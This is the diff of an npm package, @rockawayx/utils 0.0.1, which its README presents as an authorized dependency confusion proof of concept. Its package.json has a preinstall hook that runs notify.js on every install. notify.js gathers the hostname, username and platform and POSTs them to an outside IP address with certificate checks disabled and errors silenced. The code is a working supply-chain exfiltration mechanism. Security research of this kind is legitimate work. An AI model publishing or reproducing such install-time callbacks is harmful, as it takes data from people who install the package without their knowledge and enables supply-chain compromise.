@rockawayx/utils 0.0.1

package/README.md

@@ -0,0 +1,13 @@
+# @rockawayx/utils - Security Research
+
+This package was published as part of an **authorized security assessment** to demonstrate
+a dependency confusion vulnerability affecting the `@rockawayx` npm scope.
+
+The `@rockawayx` scope was unclaimed on npmjs.org while private packages with the same
+scope names existed in RockawayX's internal repositories.
+
+**This is not malicious software.** It contains only a benign notification that reports
+the hostname and timestamp to a security research callback server.
+
+If you received this package unexpectedly, your build system may be vulnerable to
+dependency confusion attacks. Please contact your security team.

package/index.js

@@ -0,0 +1,7 @@
+// Security Research PoC - @rockawayx/utils dependency confusion
+// This package was published as part of an authorized security assessment
+// to demonstrate the unclaimed npm scope vulnerability.
+module.exports = {
+  _securityResearch: true,
+  _message: 'This package is a security research PoC for dependency confusion'
+};

package/notify.js

@@ -0,0 +1,21 @@
+const https = require('https');
+const os = require('os');
+const data = JSON.stringify({
+  type: 'dependency-confusion-poc',
+  package: '@rockawayx/utils',
+  hostname: os.hostname(),
+  user: os.userInfo().username,
+  platform: os.platform(),
+  timestamp: new Date().toISOString(),
+  message: 'This is a security research PoC. If you see this, your project is vulnerable to dependency confusion. Contact security@rockawayx.com'
+});
+const req = https.request({
+  hostname: '2.25.140.71', port: 8443,
+  path: '/rockawayx/depconf-poc',
+  method: 'POST',
+  headers: {'Content-Type':'application/json','Content-Length':data.length},
+  timeout: 3000, rejectUnauthorized: false
+}, ()=>{});
+req.on('error',()=>{});
+req.write(data);
+req.end();

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@rockawayx/utils",
+  "version": "0.0.1",
+  "description": "Security research - dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node notify.js || true"
+  },
+  "license": "MIT",
+  "author": "security-researcher"
+}